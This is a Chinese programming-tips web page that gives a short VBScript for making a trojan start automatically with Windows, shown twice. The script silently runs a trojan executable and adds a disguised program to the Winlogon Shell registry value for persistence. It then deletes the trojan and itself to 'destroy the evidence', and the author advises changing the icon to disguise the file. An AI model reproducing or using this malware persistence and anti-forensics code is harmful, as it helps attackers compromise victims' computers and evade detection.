您现在的位置是：网站首页> 编程资料编程资料
vbs 注册表实现木马自启动_vbs_
2023-05-25
256人已围观
简介 vbs 注册表实现木马自启动_vbs_
呵呵～不过别人一般没这个闲工夫检查那么多位置的！就连我也做不到～～
dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "%windir%\flumasko.exe",0 //运行木马程序
set sm=Wscript.CreateObject("WScript.Shell")
sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe"
//写进注册表项实现自启动
set WshShell=WScript.CreateObject("WScript.Shell")
WScript.Sleep 2000
//等木马的执行完毕
Set fso=CreateObject("Scripting.FileSystemObject")
f=fso.DeleteFile ("flumasko.exe")
f=fso.DeleteFile (WScript.ScriptName)
//毁尸灭迹
再修改下图标就大功告成了！
复制代码 代码如下:
dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "%windir%\flumasko.exe",0 //运行木马程序
set sm=Wscript.CreateObject("WScript.Shell")
sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe"
//写进注册表项实现自启动
set WshShell=WScript.CreateObject("WScript.Shell")
WScript.Sleep 2000
//等木马的执行完毕
Set fso=CreateObject("Scripting.FileSystemObject")
f=fso.DeleteFile ("flumasko.exe")
f=fso.DeleteFile (WScript.ScriptName)
//毁尸灭迹
相关内容
- 完整的注册表操作实例 VBS脚本_vbs_
- 用于修复XP中最小化程序 在任务栏显示图标的vbs脚本_vbs_
- vbs 注册表操作代码(添加删除)_vbs_
- VbScript 封裝MS OWC(二)_vbs_
- vbscript ms owc 封裝代码_vbs_
- 用VBScript写合并文本文件的脚本_vbs_
- SQL获取表结构的show_table.vbs （冰点极限NP）_vbs_
- Shell.Application执行命令的五种方法小结_vbs_
- 利用vbs写的延时关闭ie进程的脚本代码_vbs_
- 使用xcacls.vbs(cacls.exe)修改NTFS权限说明(中文版)第1/2页_vbs_
